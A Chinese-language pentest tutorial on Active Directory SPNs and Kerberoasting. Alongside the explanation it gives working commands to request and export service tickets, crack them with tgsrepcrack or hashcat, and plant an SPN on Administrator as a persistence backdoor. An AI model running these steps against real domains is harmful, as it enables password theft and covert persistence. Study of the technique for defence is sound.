參考文章:https://mp.weixin.qq.com/s?__biz=MzU2MTQwMzMxNA%3D%3D&chksm=fc781175cb0f986392b4c78112dcd01bf5c71e7d6bdc292f0d8a556cc27e6bd8ebc54278165d&idx=1&mid=2247488936&scene=21&sn=82c127c8ad6d3e36f1a977e5ba122228#wechat_redirect
參考文章:https://www.freebuf.com/articles/system/196434.html
參考文章:https://3gstudent.github.io/3gstudent.github.io/域滲透-Kerberoasting/
參考文章:https://rcoil.me/2019/06/【域滲透】SPN 掃描利用/
什么是Service Principal Names:
SPN 簡介:服務主體名稱(SPN:ServicePrincipal Names)是服務實例(可以理解為一個服務,比如 HTTP、MSSQL)的唯一標識符。
Kerberos 身份驗證:使用 SPN 將服務實例與服務登錄帳戶相關聯
如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個 SPN。
SPN 始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名注冊SPN。
SPN類型分為兩種:
1、一種注冊在AD上機器帳戶(Computers)下,當一個服務的權限為Local System或Network Service,則SPN注冊在機器帳戶(Computers)下
2、另一種注冊在域用戶帳戶(Users)下,當一個服務的權限為一個域用戶,則SPN注冊在域用戶帳戶(Users)下
如果用一句話來說明的話就是如果想使用 Kerberos 協議來認證服務,那么必須正確配置SPN。
SPN的語法格式:
<service class>/<host>:<port> <servername>
服務類型 /對應機器名:服務端口[默認端口可不寫]
其中 <service class> 和 <host> 為必需元素
1、<service class>
可以理解為服務的名稱,常見的有www, ldap, SMTP, DNS, HOST等,例如MSSQLSvc/WIN-CKT0M35R6UO.top.pentest.top:1433
2、host有兩種形式,FQDN和NetBIOS名,例如WIN-CKT0M35R6UO.top.pentest.top
或者是WIN-CKT0M35R6UO
3、如果服務運行在默認端口上,則端口號(port)可以省略
如何查看已經注冊的SPN:
查找pentest.God域下注冊的SPN:
setspn.exe -T pentest.God -q */*
查看當前域內的所有SPN:setspn -Q */*
如何手動給域機器或者域用戶創建 SPN:
語法setspn -S http/<computername>.<domainname> <domain-user-account>
-S 參數:驗證不存在重復項后,添加隨意 SPN。
注意: -S 從 Windows Server 2008 開始系統默認提供。
例如(參考rcoil):創建一個spn http服務的,主機名為WebDemo_PC,域名為rcoil.me 創建的用戶為域用戶rcoil\web
Setspn -s http/WebDemo_PC.rcoil.me rcoil\web
Setspn -s http/WebDemo_PC.rcoil.me WebDemo_PC$
查看的時候setspn,可以用-L 指定用戶(域機器名)查詢,比如setspn -L web
或者 setspn -L WebDemo_PC$
如何在內網中進行SPN 掃描:
介紹: 在一個大型域中通常會有不止一個的服務注冊 SPN,所以可以通過「SPN 掃描」的方式來查看域內的服務。
優點: 比如想知道域內哪些主機安裝了什么服務,我們就不需要再進行批量的網絡端口掃描。相對於通常的網絡端口掃描的優點是不用直接和服務主機建立連接,且隱蔽性更高。
掃描工具:
1.GetUserSPNs.ps1:
GetUserSPNs 是 Kerberoast 工具集中的一個 powershell 腳本,用來查詢域內注冊的 SPN。
2.GetUserSPNs.vbs:
cscript .\GetUserSPNs.vbs
如何對SPN進行Kerberoasting攻擊
Kerberoasting 是域滲透中經常使用的一項技術,是通過 爆破TGS-REP 實現,在TGS_REP的過程中用戶將會收到由目標服務實例的NTLM hash加密生成的TGS(service ticket),加密算法為RC4-HMAC,如果獲得這個TGS,我們可以嘗試窮舉口令,模擬加密過程,進行破解
利用方法:
由於域內的任何用戶都可以向域內的任何服務請求TGS,知道相關服務的SPN后,可以用SPN申請一張票據 ST(TGS Ticket),如果Kerberos 協議設置票據為 RC4加密
,則可通過爆破的方式得到服務對應用戶的密碼。
第一種利用方法:
首先,在powershell上申請票據:
請求單個TGS:
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "https/testDemo.pentest.God"
請求所有TGS:
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Kerberos 協議中請求的票據會保存在內存中,可以通過 klist
命令查看當前會話存儲的 kerberos 票據
接着可使用mimikatz導出票據
工具解密:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py ,wordlist.txt
是字典,test.kirbi
為導出的票據
tgsrepcrack.py wordlist.txt test.kirbi
缺點:考慮mimikatz免殺
第二種利用方法:
Invoke-Kerberoast.ps1導出轉換成 John the Ripper 或者 HashCat 能夠直接爆破的字符串,
-AdminCount表示選擇高權限的用戶,powershell下執行以下內容
Import-Module .\Invoke-Kerberoast.ps1
Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation
然后再通過hashcat進行密碼破解hashcat64.exe -m 13100 hash.txt pass.txt
如何擴大攻擊路線:
原因:管理員可以使用工具SetSPN -S來手動注冊SPN。但是這不是一個最好的方法,畢竟手工注冊不是長久之計。如果SPN下次丟了,又要再次手動注冊。
所以比較好的方法,是讓SQL Server當前啟動域賬號有注冊SPN的權力。要在DC上為域賬號賦予 Read servicePrincipalName
和 Write serverPrincipalName
的權限即可
那么就可以在域內進行查詢具有Read servicePrincipalName
和 Write serverPrincipalName
的域用戶的權限
Kerberoasting權限維持:
在我們取得了 SPN 的修改權限(其實也就是拿到域管的權限)后,可以為指定的域用戶添加一個SPN,這樣可以隨時獲得該域用戶的TGS ,經過破解后獲得明文口令,可以作為一個后門使用。
例如為域用戶Administrator添加SPN fps/top.pentest.top Administrator,參數如下:
setspn.exe -U -A fps/top.pentest.top Administrator
刪除SPN的參數如下:
setspn.exe -D fps/top.pentest.top Administrator
總結SPN利用流程:
1、查詢SPN,找到有價值的SPN,需要滿足的條件:該SPN注冊在域用戶帳戶(Users)下
並且 域用戶賬戶的權限很高
2、請求TGS
3、導出TGS
4、暴力破解